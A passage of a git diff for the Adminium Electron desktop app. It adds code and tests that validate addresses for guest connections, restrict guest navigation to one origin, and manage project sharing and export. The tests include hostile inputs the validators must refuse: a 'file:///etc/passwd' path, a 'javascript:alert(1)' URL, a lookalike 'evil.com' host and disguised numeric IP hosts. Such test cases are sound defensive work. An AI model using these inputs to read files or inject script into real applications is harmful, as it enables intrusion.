+ expect(judgeGuestAddress('192.168.1.20:4712/login?x=1')).toEqual({ ok: true, origin: 'http://192.168.1.20:4712', encrypted: false });
+ expect(judgeGuestAddress('admin.example.com')).toEqual({ ok: true, origin: 'https://admin.example.com', encrypted: true });
+ expect(judgeGuestAddress('https://admin.example.com/some/page#x')).toEqual({ ok: true, origin: 'https://admin.example.com', encrypted: true });
+ expect(judgeGuestAddress('https://office-pc.local')).toMatchObject({ ok: true, encrypted: true });
+ });
+ it('reads the address as the window will: a name in any case, a number that is really an address, a port that says nothing', () => {
+ expect(judgeGuestAddress('Office-PC.local:4600')).toEqual({ ok: true, origin: 'http://office-pc.local:4600', encrypted: false });
+ expect(judgeGuestAddress('office-pc.local:80')).toEqual({ ok: true, origin: 'http://office-pc.local', encrypted: false });
+ // 134744072 is 8.8.8.8 to a browser, not a computer's name on this network.
+ expect(judgeGuestAddress('134744072')).toEqual({ ok: true, origin: 'https://8.8.8.8', encrypted: true });
+ expect(judgeGuestAddress('http://0x8080808')).toEqual({ ok: false, reason: 'not-private' });
+ expect(judgeGuestAddress('3232235797:4600')).toEqual({ ok: true, origin: 'http://192.168.1.21:4600', encrypted: false });
+ });
+ it('refuses plain http to anything that is not on their own network', () => {
+ expect(judgeGuestAddress('http://admin.example.com')).toEqual({ ok: false, reason: 'not-private' });
+ expect(judgeGuestAddress('http://8.8.8.8:4600')).toEqual({ ok: false, reason: 'not-private' });
+ });
+ it('refuses what is not an address: nothing, spaces, another scheme, a name and password in it', () => {
+ for (const typed of ['', ' ', 'two words', 'file:///etc/passwd', 'javascript://x', 'ftp://office-pc.local', 'https://user:pw@example.com', 'http://', '://x']) expect(judgeGuestAddress(typed), typed).toEqual({ ok: false, reason: 'not-an-address' });
+ });
+});
+
+describe('asking whether an Adminium is there', () => {
+ const answer = (status: number, body: unknown): Response => new Response(typeof body === 'string' ? body : JSON.stringify(body), { status });
+ it('asks its health with no redirect followed, and takes its version', async () => {
+ const fetcher = vi.fn(() => Promise.resolve(answer(200, { ok: true, version: '0.3.24', uptime: 12 })));
+ await expect(checkGuest('http://office-pc.local:4600', fetcher)).resolves.toEqual({ ok: true, version: '0.3.24' });
+ expect(fetcher).toHaveBeenCalledWith('http://office-pc.local:4600/api/v1/healthz', expect.objectContaining({ redirect: 'manual' }));
+ });
+ it('something else that answers is not an Adminium', async () => {
+ for (const response of [answer(404, 'Not Found'), answer(200, 'router'), answer(200, { ok: false, version: '0.3.24' }), answer(200, { ok: true }), answer(200, { ok: true, version: 'latest' }), answer(302, '')]) {
+ await expect(checkGuest('http://office-pc.local:4600', () => Promise.resolve(response))).resolves.toEqual({ ok: false, reason: 'not-adminium' });
+ }
+ });
+ it('nothing that answers, or nothing in time, is no answer', async () => {
+ await expect(checkGuest('http://office-pc.local:4600', () => Promise.reject(new Error('ECONNREFUSED')))).resolves.toEqual({ ok: false, reason: 'no-answer' });
+ const slow = (_url: string, init: { signal: AbortSignal }): Promise => new Promise((_resolve, reject) => init.signal.addEventListener('abort', () => reject(new Error('aborted'))));
+ await expect(checkGuest('http://office-pc.local:4600', slow, 10)).resolves.toEqual({ ok: false, reason: 'no-answer' });
+ });
+});
+
+describe('a guest', () => {
+ it('has a cookie jar of its own per address, the same one at the next visit', () => {
+ expect(guestPartition('http://office-pc.local:4600')).toMatch(/^persist:guest-[0-9a-f]{24}$/);
+ expect(guestPartition('http://office-pc.local:4600')).toBe(guestPartition('http://office-pc.local:4600'));
+ expect(guestPartition('http://office-pc.local:4601')).not.toBe(guestPartition('http://office-pc.local:4600'));
+ });
+ it('is held to the address that was typed', () => {
+ const origin = 'http://office-pc.local:4600';
+ expect(guestMayNavigate('http://office-pc.local:4600/t/orders?x=1', origin)).toBe(true);
+ for (const target of ['http://office-pc.local:4601/', 'https://office-pc.local:4600/', 'http://office-pc.local.evil.com:4600/', 'file:///etc/passwd', 'javascript:alert(1)', 'about:blank', '']) expect(guestMayNavigate(target, origin), target).toBe(false);
+ });
+ it('is remembered at the head of a short list, once', () => {
+ const now = new Date('2026-10-10T10:00:00.000Z');
+ const list = rememberGuest([{ address: 'http://a.local', version: '0.3.1', lastOpened: 'x' }, { address: 'http://b.local', version: '0.3.2', lastOpened: 'y' }], 'http://b.local', '0.3.24', now);
+ expect(list).toEqual([{ address: 'http://b.local', version: '0.3.24', lastOpened: '2026-10-10T10:00:00.000Z' }, { address: 'http://a.local', version: '0.3.1', lastOpened: 'x' }]);
+ const many = Array.from({ length: 12 }, (_, i) => ({ address: `http://h${String(i)}.local`, version: '1.0.0', lastOpened: 'z' }));
+ expect(rememberGuest(many, 'http://new.local', '1.0.0', now)).toHaveLength(8);
+ });
+});
diff --git a/apps/desktop/src/main/guest.ts b/apps/desktop/src/main/guest.ts
new file mode 100644
index 000000000..6d5927414
--- /dev/null
+++ b/apps/desktop/src/main/guest.ts
@@ -0,0 +1,122 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+/**
+ * "Connect to another Adminium": an address a person typed, judged before
+ * anything is asked of it, then asked one thing (is an Adminium there, and
+ * which), then opened as a guest.
+ *
+ * A guest is somebody else's pages. It gets a window of its own with none of
+ * the app's bridge, a cookie jar of its own per address, and it is held to the
+ * address that was typed (`window.ts`). What is here is the judging and the
+ * asking; ELECTRON-FREE.
+ */
+import { createHash } from 'node:crypto';
+import { isIP } from 'node:net';
+
+export type GuestRefusal = 'not-an-address' | 'not-private';
+
+export type GuestAddress =
+ | { readonly ok: true; /** `http://office-pc.local:4600`: the origin, nothing after it. */ readonly origin: string; readonly encrypted: boolean }
+ | { readonly ok: false; readonly reason: GuestRefusal };
+
+/** An address on the person's own network, where plain `http` is what there is: a `.local` name, this computer, a private range. */
+export function isPrivateHost(host: string): boolean {
+ const name = host.toLowerCase().replace(/^\[|\]$/g, '');
+ if (name === 'localhost' || name.endsWith('.local') || name.endsWith('.localhost')) return true;
+ if (isIP(name) === 4) {
+ const [a = 0, b = 0] = name.split('.').map(Number);
+ return a === 10 || a === 127 || (a === 172 && b >= 16 && b <= 31) || (a === 192 && b === 168) || (a === 169 && b === 254);
+ }
+ if (isIP(name) === 6) return name === '::1' || /^f[cd]/.test(name) || /^fe[89ab]/.test(name);
+ // A bare name with no dot is a computer on this network (`office-pc`), not a site.
+ return !name.includes('.');
+}
+
+/**
+ * What a person typed, as an address the app may open. With no scheme: `http`
+ * on a private address (what a shared Adminium answers on), `https` anywhere
+ * else. `http` to anything that is not private is refused: a password would
+ * cross the internet readable.
+ */
+export function judgeGuestAddress(typed: string): GuestAddress {
+ const text = typed.trim();
+ if (text === '' || /\s/.test(text)) return { ok: false, reason: 'not-an-address' };
+ const hasScheme = /^[a-z][a-z0-9+.-]*:\/\//i.test(text);
+ let url: URL;
+ try {
+ url = new URL(hasScheme ? text : `x://${text}`);
+ } catch {
+ return { ok: false, reason: 'not-an-address' };
+ }
+ if (url.hostname === '' || url.username !== '' || url.password !== '') return { ok: false, reason: 'not-an-address' };
+ // Read again as a web address, which is how the window will read it: a made-up scheme keeps a host as typed, so
+ // `134744072` would pass for a computer's name here and open as 8.8.8.8, and `Office-PC.local:80` would never
+ // equal the address its own pages come from.
+ const asWeb = (scheme: string): URL | null => {
+ try {
+ return new URL(`${scheme}//${url.host}`);
+ } catch {
+ return null;
+ }
+ };
+ if (hasScheme && url.protocol !== 'http:' && url.protocol !== 'https:') return { ok: false, reason: 'not-an-address' };
+ const read = asWeb('http:');
+ if (read === null || read.hostname === '') return { ok: false, reason: 'not-an-address' };
+ const privateHost = isPrivateHost(read.hostname);
+ const scheme = hasScheme ? url.protocol : privateHost ? 'http:' : 'https:';
+ if (scheme === 'http:' && !privateHost) return { ok: false, reason: 'not-private' };
+ const origin = asWeb(scheme)?.origin;
+ if (origin === undefined || origin === 'null') return { ok: false, reason: 'not-an-address' };
+ return { ok: true, origin, encrypted: scheme === 'https:' };
+}
+
+export type GuestCheck = { readonly ok: true; readonly version: string } | { readonly ok: false; readonly reason: 'no-answer' | 'not-adminium' };
+
+export const GUEST_CHECK_MS = 5_000;
+
+/**
+ * Ask the address the one thing every Adminium answers with no sign-in: its
+ * health, which names its version. A redirect is not followed (it would be an
+ * answer from somewhere that was not typed).
+ */
+export async function checkGuest(origin: string, fetcher: (url: string, init: { redirect: 'manual'; signal: AbortSignal }) => Promise, timeoutMs: number = GUEST_CHECK_MS): Promise {
+ const control = new AbortController();
+ const timer = setTimeout(() => control.abort(), timeoutMs);
+ try {
+ const response = await fetcher(new URL('/api/v1/healthz', origin).toString(), { redirect: 'manual', signal: control.signal });
+ if (!response.ok) return { ok: false, reason: 'not-adminium' };
+ const body = (await response.json().catch(() => null)) as { ok?: unknown; version?: unknown } | null;
+ if (body === null || body.ok !== true || typeof body.version !== 'string' || !/^\d+\.\d+\.\d+/.test(body.version)) return { ok: false, reason: 'not-adminium' };
+ return { ok: true, version: body.version.slice(0, 40) };
+ } catch {
+ return { ok: false, reason: 'no-answer' };
+ } finally {
+ clearTimeout(timer);
+ }
+}
+
+/** The cookie jar of a guest: its own per address, kept between visits. */
+export function guestPartition(origin: string): string {
+ return `persist:guest-${createHash('sha256').update(origin).digest('hex').slice(0, 24)}`;
+}
+
+/** Whether a guest's window may go to `target`: the address that was typed, and nowhere else. */
+export function guestMayNavigate(target: string, origin: string): boolean {
+ try {
+ return new URL(target).origin === origin;
+ } catch {
+ return false;
+ }
+}
+
+export interface GuestEntry {
+ address: string;
+ version: string;
+ lastOpened: string;
+}
+
+export const MAX_GUESTS = 8;
+
+/** The recent list with `address` at its head. */
+export function rememberGuest(list: readonly GuestEntry[], address: string, version: string, now: Date): GuestEntry[] {
+ return [{ address, version, lastOpened: now.toISOString() }, ...list.filter((entry) => entry.address !== address)].slice(0, MAX_GUESTS);
+}
diff --git a/apps/desktop/src/main/index.test.ts b/apps/desktop/src/main/index.test.ts
index afee2133e..ef2ca942b 100644
--- a/apps/desktop/src/main/index.test.ts
+++ b/apps/desktop/src/main/index.test.ts
@@ -11,11 +11,17 @@
* BrowserWindow, a real utilityProcess) are Playwright `_electron` suite.
*/
-import { describe, expect, it, vi } from 'vitest';
+import { mkdirSync, mkdtempSync, realpathSync, rmSync, writeFileSync } from 'node:fs';
+import { tmpdir } from 'node:os';
+import { join } from 'node:path';
+
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
import type { BackupCoordinator } from './backup.js';
import { createDefaultConfig, type DesktopConfig, type UpdateMode } from './config.js';
import {
+ projectUrl,
+ CLASSIC_ONLY_SETTING,
appUrl,
applyConfigPatch,
createDesktopApp,
@@ -29,12 +35,14 @@ import {
} from './index.js';
import type { ProbeResult } from './lan.js';
import type { MenuHandlers, MenuTranslate } from './menu.js';
+import { realFolderDeps } from './projects.js';
import type {
CreateServerManagerOptions,
ServerExit,
ServerManager,
ServerReadyInfo,
ServerState,
+ KeptModels,
} from './server-manager.js';
import type { UpdateManager } from './updates.js';
import type { CrashAction, CrashScreenInfo, DesktopWindows } from './window.js';
@@ -309,6 +317,11 @@ function harness(
get bootToken() {
return liveBootToken;
},
+ project: null,
+ setPrograms: () => undefined,
+ setModels: () => undefined,
+ onKeepModel: () => () => undefined,
+ busy: () => Promise.resolve(null),
start: () =>
fork(
overrides.start ??
@@ -886,6 +899,9 @@ describe('applyConfigPatch', () => {
it('leaves the secret, dataDir and version untouched — they are not keys', () => {
const withSecret: DesktopConfig = { ...base, secretPlain: 'shhh', secretStorage: 'plain' };
+ // The app's own screens' language and theme, as picked in the dashboard; `null` is the system's language again.
+ expect(applyConfigPatch(withSecret, { language: 'de-DE', theme: 'dark' })).toMatchObject({ language: 'de-DE', theme: 'dark', secretPlain: 'shhh' });
+ expect(applyConfigPatch({ ...withSecret, language: 'de-DE' }, { language: null }).language).toBeNull();
const next = applyConfigPatch(withSecret, { telemetryOptIn: true });
expect(next.secretPlain).toBe('shhh');
expect(next.dataDir).toBe('/data');
@@ -1395,6 +1411,664 @@ describe('isElectronMain', () => {
});
});
+// ─── a project folder (plan 66, spec 05) ─────────────────────────────────────
+
+describe('createDesktopApp opening a project folder', () => {
+ const ROOT = '/Users/someone/Adminium/juniper';
+ const PROJECT_READY = { ...READY, port: 4700, url: 'http://127.0.0.1:4700' };
+
+ function projectHarness(over: { busy?: { kind: string; sessionId: string | null } | null; confirm?: boolean; startFails?: Error; restartFails?: Error; ownerHasPassword?: boolean | null; keptPortFree?: boolean; exportTo?: string } = {}) {
+ const h = harness();
+ const opts: CreateServerManagerOptions[] = [];
+ const shown: Array<{ url: string; preview: boolean }> = [];
+ const sessions: Array = [];
+ const confirmed: string[] = [];
+ const restarts: Array<{ host?: string; port?: number; mode?: 'design' | 'serve' }> = [];
+ const awake: boolean[] = [];
+ const savedAs: Array<{ title: string; defaultName: string }> = [];
+ const revealed: string[] = [];
+ let sharedShown = 0;
+ /** The words each question was asked with: the page's, or none yet. */
+ const said: Array = [];
+ /** What the running server was told of the app's programs. */
+ const told: string[] = [];
+ /** The keys it was told, each time; and the way a saved model comes up from it. */
+ const modelsTold: KeptModels[] = [];
+ let keepModel: (values: Partial>) => void = () => undefined;
+ /** Whether the last look found a git: the test's to change. */
+ const git = { found: false, looks: 0, fetched: 0 };
+ let stops = 0;
+ let stateListener: (s: ServerState) => void = () => undefined;
+ let exitListener: (e: ServerExit) => void = () => undefined;
+ let mode: 'design' | 'serve' = 'design';
+ let managerState: ServerState = { status: 'ready', ...PROJECT_READY };
+ const manager: ServerManager = {
+ get state() {
+ return managerState;
+ },
+ bootToken: 'c'.repeat(64),
+ get project() {
+ return { root: ROOT, mode };
+ },
+ setPrograms: (value) => void told.push(value),
+ setModels: (models) => void modelsTold.push(models),
+ onKeepModel: (listener) => {
+ keepModel = listener;
+ return () => undefined;
+ },
+ busy: () => Promise.resolve(over.busy ?? null),
+ start: () => (over.startFails === undefined ? Promise.resolve(PROJECT_READY) : Promise.reject(over.startFails)),
+ stop: () => {
+ stops += 1;
+ h.calls.push('server.stop');
+ return Promise.resolve();
+ },
+ restart: async (changes) => {
+ restarts.push(changes ?? {});
+ if (over.restartFails !== undefined && changes?.mode === 'serve') throw over.restartFails;
+ if (changes?.mode !== undefined) mode = changes.mode;
+ // The port is asked for as a real fork asks: by the mode it is about to start in.
+ const port = changes?.mode === undefined ? 4701 : await (opts[0]?.project?.pickPort(changes.mode) ?? Promise.resolve(4701));
+ const next = { ...PROJECT_READY, port, url: `http://127.0.0.1:${String(port)}` };
+ managerState = { status: 'ready', ...next };
+ stateListener({ status: 'ready', ...next });
+ return next;
+ },
+ onExit: (l) => {
+ exitListener = l;
+ return () => undefined;
+ },
+ subscribe: (l) => {
+ stateListener = l;
+ // As the real manager does: the state it is in, which after a start that failed is not `ready`.
+ l(over.startFails === undefined ? { status: 'ready', ...PROJECT_READY } : { status: 'stopped' });
+ return () => undefined;
+ },
+ };
+ const deps: DesktopBootDeps = {
+ ...h.deps,
+ windows: {
+ ...h.deps.windows,
+ loadApp: (url, o) => {
+ shown.push({ url, preview: o?.preview === true });
+ return Promise.resolve();
+ },
+ useProjectSession: (root) => void sessions.push(root),
+ showShared: () => {
+ sharedShown += 1;
+ return Promise.resolve();
+ },
+ },
+ createServerManager: (o) => {
+ opts.push(o);
+ return manager;
+ },
+ openProject: { root: ROOT },
+ pickProjectPort: () => Promise.resolve(4700),
+ bundledAppsDir: '/app/apps-bundle',
+ projectEnv: { PATH: '/usr/bin:/bin', ADMINIUM_SECRET: 'from the shell' },
+ // Looked up before the fork, and it may take a moment (git is looked for): the boot waits for it.
+ projectPrograms: () => {
+ git.looks += 1;
+ return Promise.resolve(git.found ? '{"binary":"/app/Adminium","git":"/data/git/bin/git"}' : '{"binary":"/app/Adminium"}');
+ },
+ projectGit: {
+ found: () => git.found,
+ bytes: 62_348_987,
+ platform: 'darwin',
+ fetch: () => {
+ git.fetched += 1;
+ git.found = true;
+ return Promise.resolve('/data/git/bin/git');
+ },
+ },
+ exporting: {
+ saveAs: (o) => {
+ savedAs.push(o);
+ return Promise.resolve(over.exportTo === undefined ? null : over.exportTo);
+ },
+ showInFolder: (path) => {
+ revealed.push(path);
+ return Promise.resolve();
+ },
+ stamp: () => ({ system: 'darwin', chip: 'arm64', engine: '0.3.22' }),
+ },
+ sharing: { hostname: () => 'Office-Mac.local', isFree: () => Promise.resolve(over.keptPortFree ?? true), keepAwake: (on) => void awake.push(on) },
+ startScreen: {
+ folder: { home: '/Users/someone', platform: 'darwin', exists: () => true, list: () => [], isInsideApp: () => false, real: (path: string) => path } as never,
+ chooseDirectory: () => Promise.resolve(null),
+ classicUsed: () => false,
+ folderFacts: () => Promise.resolve({ ownerHasPassword: over.ownerHasPassword === undefined ? true : over.ownerHasPassword } as never),
+ },
+ confirmStopBusy: (busy, why, words) => {
+ confirmed.push(why === 'share' ? `share:${busy.kind}` : busy.kind);
+ said.push(words?.keepWorking ?? null);
+ return Promise.resolve(over.confirm ?? true);
+ },
+ };
+ return { h, deps, opts, shown, sessions, confirmed, restarts, awake, savedAs, revealed, sharedShown: () => sharedShown, said, told, modelsTold, saveModel: (values: Partial>) => keepModel(values), git, stops: () => stops, manager, fireExit: (e: ServerExit) => exitListener(e), emit: (state: ServerState) => stateListener(state) };
+ }
+ const settle = async (): Promise => {
+ for (let i = 0; i < 10; i += 1) await Promise.resolve();
+ };
+
+ it('serves the folder, not the classic workspace: no secret, no backup, no schedule', async () => {
+ const p = projectHarness();
+ await createDesktopApp(p.deps).start();
+
+ expect(p.opts).toHaveLength(1);
+ expect(p.opts[0]).toMatchObject({ project: { root: ROOT, mode: 'design', bundledAppsDir: '/app/apps-bundle', programs: '{"binary":"/app/Adminium"}' }, staticRoot: '/app/out/dashboard' });
+ for (const name of ['dataDir', 'secret', 'singleUser', 'host', 'port']) expect(p.opts[0]).not.toHaveProperty(name);
+ // The person's environment, as a terminal's server has it (the manager strips what main decides).
+ expect(p.opts[0]?.inheritEnv).toEqual({ PATH: '/usr/bin:/bin', ADMINIUM_SECRET: 'from the shell' });
+ // Resolving the classic secret may write to the key store; a project has its own in its .env.
+ expect(p.h.calls).not.toContain('config.resolveSecret');
+ expect(p.h.calls).not.toContain('createBackup');
+ expect(p.h.autoBackupRunning()).toBe(false);
+ expect(p.h.backupWiring()).toBeNull();
+ // The menu's two backup entries have no handler, which is how the menu disables them.
+ expect(p.h.menuHandlers()).not.toHaveProperty('backupNow');
+ expect(p.h.menuHandlers()).not.toHaveProperty('restore');
+ expect(p.h.menuHandlers()?.showLogs).toBeTypeOf('function');
+ });
+
+ it('offers to keep versions when no git was found, and a download tells the running server without a restart', async () => {
+ const p = projectHarness();
+ await createDesktopApp(p.deps).start();
+ const offer = p.h.bridge()?.project?.versions?.() ?? null;
+ expect(offer?.state()).toEqual({ on: false, declined: false, megabytes: 62, appleTools: true, download: { phase: 'idle' } });
+
+ // "Not now" is kept for this computer, in the app's own file.
+ expect((await offer?.notNow())?.declined).toBe(true);
+ expect(p.h.bridge()?.readConfig().versionsDeclined).toBe(true);
+
+ expect(offer?.download().download).toEqual({ phase: 'downloading', received: 0, total: 62_348_987 });
+ await settle();
+ expect(p.git.fetched).toBe(1);
+ // Looked for again (the stand-ins are made again), and the server that is running was told.
+ expect(p.told).toEqual(['{"binary":"/app/Adminium","git":"/data/git/bin/git"}']);
+ expect(offer?.state()).toMatchObject({ on: true, declined: false, download: { phase: 'idle' } });
+ expect(p.h.bridge()?.readConfig().versionsDeclined).toBe(false);
+ });
+
+ it('tells the project’s server the keys the app keeps, and keeps what its model screen saves', async () => {
+ const p = projectHarness();
+ let kept: KeptModels = { values: { ADMINIUM_AI_MODEL: 'ollama/llama3' }, keeping: 'key-store' };
+ const keep = vi.fn((patch: Partial>) => {
+ const values = { ...kept.values } as Record;
+ for (const [name, value] of Object.entries(patch)) {
+ if (value === null) Reflect.deleteProperty(values, name);
+ else if (value !== undefined) values[name] = value;
+ }
+ kept = { ...kept, values };
+ return kept;
+ });
+ const error = vi.spyOn(console, 'error').mockImplementation(() => undefined);
+ await createDesktopApp({ ...p.deps, models: { read: () => kept, keep } }).start();
+ expect(p.modelsTold).toEqual([{ values: { ADMINIUM_AI_MODEL: 'ollama/llama3' }, keeping: 'key-store' }]);
+ // Never part of what the server was started with.
+ expect(JSON.stringify(p.opts[0])).not.toContain('ollama/llama3');
+
+ p.saveModel({ ADMINIUM_AI_ANTHROPIC_API_KEY: 'sk-ant-1', ADMINIUM_AI_MODEL: 'anthropic/claude' });
+ expect(keep).toHaveBeenCalledWith({ ADMINIUM_AI_ANTHROPIC_API_KEY: 'sk-ant-1', ADMINIUM_AI_MODEL: 'anthropic/claude' });
+ expect(p.modelsTold.at(-1)).toEqual({ values: { ADMINIUM_AI_ANTHROPIC_API_KEY: 'sk-ant-1', ADMINIUM_AI_MODEL: 'anthropic/claude' }, keeping: 'key-store' });
+ // A store that cannot write is a line in the log, not a crash of the app.
+ keep.mockImplementationOnce(() => {
+ throw new Error('EACCES');
+ });
+ expect(() => p.saveModel({ ADMINIUM_AI_MODEL: 'x' })).not.toThrow();
+ expect(p.modelsTold).toHaveLength(2);
+ expect(error).toHaveBeenCalledWith(expect.stringContaining('EACCES'));
+ error.mockRestore();
+ });
+
+ describe('"Export this project…"', () => {
+ let scratch: string;
+ beforeEach(() => {
+ scratch = mkdtempSync(join(tmpdir(), 'adminium-export-boot-'));
+ });
+ afterEach(() => {
+ rmSync(scratch, { recursive: true, force: true });
+ });
+ const exportOf = (p: ReturnType) => p.h.bridge()?.project?.exporting?.() ?? null;
+
+ it('asks where to save first, and a cancel stops nothing', async () => {
+ const p = projectHarness();
+ await createDesktopApp(p.deps).start();
+ await expect(exportOf(p)?.run({ kind: 'apps', title: 'Export Juniper' })).resolves.toEqual({ status: 'cancelled' });
+ expect(p.savedAs).toEqual([{ title: 'Export Juniper', defaultName: 'juniper.zip' }]);
+ expect(p.stops()).toBe(0);
+ expect(exportOf(p)?.takeResult()).toBeNull();
+ });
+
+ it('never exports under a turn: the files would be caught half-written', async () => {
+ const p = projectHarness({ busy: { kind: 'turn', sessionId: 'ds_1' }, exportTo: '/tmp/x.zip' });
+ await createDesktopApp(p.deps).start();
+ await expect(exportOf(p)?.run({ kind: 'everything', title: 't' })).resolves.toEqual({ status: 'busy' });
+ expect(p.savedAs).toEqual([]);
+ expect(p.stops()).toBe(0);
+ });
+
+ it('stops the project for the file, starts it again as it was, and says how it went once to the page that comes back', async () => {
+ // The harness's folder does not exist: the ZIP cannot be made, and the project still comes back.
+ const p = projectHarness({ exportTo: join(scratch, 'juniper.zip') });
+ await createDesktopApp(p.deps).start();
+ const exporting = exportOf(p);
+ const result = await exporting?.run({ kind: 'everything', title: 't', from: '/design/ds_abc' });
+ expect(result?.status).toBe('failed');
+ expect(p.stops()).toBe(1);
+ expect(p.restarts).toEqual([{ mode: 'design', host: '127.0.0.1' }]);
+ // Pointed at the project's page again, though the port may be the one it had.
+ expect(p.shown).toHaveLength(2);
+ // On the page the person was on, with the new server's own token.
+ expect(p.shown[1]?.url).toMatch(/^http:\/\/127\.0\.0\.1:\d+\/design\/ds_abc#designToken=c{64}$/);
+ expect(exporting?.takeResult()).toMatchObject({ status: 'failed' });
+ expect(exporting?.takeResult()).toBeNull();
+ await exporting?.show();
+ expect(p.revealed).toEqual([]);
+ });
+ });
+
+ describe('Build and Share', () => {
+ const shareOf = (p: ReturnType) => p.h.bridge()?.project?.sharing?.() ?? null;
+
+ it('Share serves the project on the network with the Designer off, keeps its port, and shows the addresses', async () => {
+ const p = projectHarness();
+ await createDesktopApp(p.deps).start();
+ const sharing = shareOf(p);
+ expect(sharing?.info()).toBeNull();
+ await expect(sharing?.share()).resolves.toEqual({ status: 'shared' });
+ expect(p.restarts).toEqual([{ mode: 'serve', host: '0.0.0.0' }]);
+ // The window holds the app's own page, not the project's (its Designer is off).
+ expect(p.sharedShown()).toBe(1);
+ expect(p.shown).toHaveLength(1);
+ expect(p.awake).toEqual([true]);
+ expect(sharing?.info()).toMatchObject({ name: 'Juniper', port: 4700, changedFrom: null, language: null, theme: 'system' });
+ expect(p.h.bridge()?.project?.info()).toMatchObject({ mode: 'serve' });
+ // A second "Share" while shared changes nothing.
+ await expect(sharing?.share()).resolves.toEqual({ status: 'shared' });
+ expect(p.restarts).toHaveLength(1);
+ });
+
+ it('never shares a project whose owner has no password: other devices could not sign in', async () => {
+ const p = projectHarness({ ownerHasPassword: false });
+ await createDesktopApp(p.deps).start();
+ await expect(shareOf(p)?.share()).resolves.toEqual({ status: 'needs-password' });
+ expect(p.restarts).toEqual([]);
+ expect(p.awake).toEqual([]);
+ });
+
+ it('asks before it stops a turn to share, in its own words, and "keep working" shares nothing', async () => {
+ const p = projectHarness({ busy: { kind: 'turn', sessionId: 'ds_1' }, confirm: false });
+ await createDesktopApp(p.deps).start();
+ await expect(shareOf(p)?.share()).resolves.toEqual({ status: 'kept-working' });
+ expect(p.confirmed).toEqual(['share:turn']);
+ expect(p.restarts).toEqual([]);
+ });
+
+ it('a share that cannot start goes back to building on this computer only, and says why', async () => {
+ const p = projectHarness({ restartFails: new Error('EADDRINUSE') });
+ await createDesktopApp(p.deps).start();
+ await expect(shareOf(p)?.share()).resolves.toEqual({ status: 'failed', detail: 'EADDRINUSE' });
+ expect(p.restarts).toEqual([{ mode: 'serve', host: '0.0.0.0' }, { mode: 'design', host: '127.0.0.1' }]);
+ expect(p.awake).toEqual([]);
+ expect(shareOf(p)?.info()).toBeNull();
+ });
+
+ it('"Go back to building" is this computer only again, lets it sleep, and opens the Designer', async () => {
+ const p = projectHarness();
+ await createDesktopApp(p.deps).start();
+ const sharing = shareOf(p);
+ // Building already: nothing to do.
+ await expect(sharing?.build()).resolves.toBe(true);
+ expect(p.restarts).toEqual([]);
+ await sharing?.share();
+ await expect(sharing?.build()).resolves.toBe(true);
+ expect(p.restarts.at(-1)).toEqual({ mode: 'design', host: '127.0.0.1' });
+ expect(p.awake).toEqual([true, false]);
+ expect(p.shown.at(-1)).toMatchObject({ preview: true });
+ expect(sharing?.info()).toBeNull();
+ });
+
+ it('from the addresses: the project’s dashboard, in the window, and back to the addresses', async () => {
+ const p = projectHarness();
+ await createDesktopApp(p.deps).start();
+ const sharing = shareOf(p);
+ // Not shared: neither does anything.
+ await sharing?.openDashboard();
+ await sharing?.showShared();
+ expect(p.shown).toHaveLength(1);
+ expect(p.sharedShown()).toBe(0);
+ await sharing?.share();
+ await sharing?.openDashboard();
+ // On this computer the owner is not asked to sign in: this start's token, once, on the dashboard's front door.
+ expect(p.shown.at(-1)).toEqual({ url: `http://127.0.0.1:4700/?bootToken=${'c'.repeat(64)}`, preview: false });
+ await sharing?.showShared();
+ expect(p.sharedShown()).toBe(2);
+ // It is spent by then: the window's own session opens the dashboard the next time.
+ await sharing?.openDashboard();
+ expect(p.shown.at(-1)).toEqual({ url: 'http://127.0.0.1:4700/', preview: false });
+ });
+
+ it('a build that cannot share has no sharing to offer', async () => {
+ const p = projectHarness();
+ Reflect.deleteProperty(p.deps, 'sharing');
+ await createDesktopApp(p.deps).start();
+ expect(shareOf(p)).toBeNull();
+ });
+ });
+
+ it('opens the Designer with the one-use token after #, on a cookie jar of the project’s own, the preview allowed', async () => {
+ const p = projectHarness();
+ await createDesktopApp(p.deps).start();
+ expect(p.sessions).toEqual([ROOT]);
+ expect(p.shown).toEqual([{ url: `http://127.0.0.1:4700/design#designToken=${'c'.repeat(64)}`, preview: true }]);
+ expect(p.h.bridge()?.runtime()).toMatchObject({ dataDir: ROOT, serverPort: 4700, secretStorage: 'plain' });
+ });
+
+ it('refuses the classic workspace’s network switch and data folder while the project is open', async () => {
+ const p = projectHarness();
+ await createDesktopApp(p.deps).start();
+ const bridge = p.h.bridge();
+ await expect(bridge?.writeConfig({ lanShare: { enabled: true, port: 4600 } })).rejects.toThrow(CLASSIC_ONLY_SETTING);
+ await expect(bridge?.setDataDir({ dir: '/elsewhere' })).rejects.toThrow(CLASSIC_ONLY_SETTING);
+ expect(p.h.restarted()).toBe(0);
+ // A setting that is the app's own still saves.
+ await expect(bridge?.writeConfig({ telemetryOptIn: false })).resolves.toBeUndefined();
+ });
+
+ it('quits at once when nothing is running', async () => {
+ const p = projectHarness();
+ await createDesktopApp(p.deps).start();
+ expect(p.h.fireBeforeQuit()).toBe(false);
+ await settle();
+ expect(p.confirmed).toEqual([]);
+ expect(p.stops()).toBe(1);
+ expect(p.h.quit()).toBe(true);
+ });
+
+ it('asks before it ends a turn, and “keep working” leaves the app whole', async () => {
+ const p = projectHarness({ busy: { kind: 'turn', sessionId: 'ds_1' }, confirm: false });
+ await createDesktopApp(p.deps).start();
+ expect(p.h.fireBeforeQuit()).toBe(false);
+ await settle();
+ expect(p.confirmed).toEqual(['turn']);
+ expect(p.stops()).toBe(0);
+ expect(p.h.quit()).toBe(false);
+ expect(p.h.updateDisposed()).toBe(0);
+ // Asked in English until the project's page hands over its own language's words, then in those.
+ expect(p.said).toEqual([null]);
+ p.h.bridge()?.project?.setStopWords?.({ turn: 't', start: 's', save: 'v', restore: 'r', style: 'y', other: 'o', quitDetail: 'q', closeDetail: 'c', quitAnyway: 'qa', closeAnyway: 'ca', keepWorking: 'Weiterarbeiten', shareDetail: 'sd', shareAnyway: 'sa' });
+ // Asked again the next time, not remembered as a no.
+ p.h.fireBeforeQuit();
+ await settle();
+ expect(p.confirmed).toEqual(['turn', 'turn']);
+ expect(p.said).toEqual([null, 'Weiterarbeiten']);
+ });
+
+ it('and on a yes stops the server first, then quits', async () => {
+ const p = projectHarness({ busy: { kind: 'turn', sessionId: 'ds_1' }, confirm: true });
+ await createDesktopApp(p.deps).start();
+ p.h.fireBeforeQuit();
+ await settle();
+ expect(p.stops()).toBe(1);
+ expect(p.h.quit()).toBe(true);
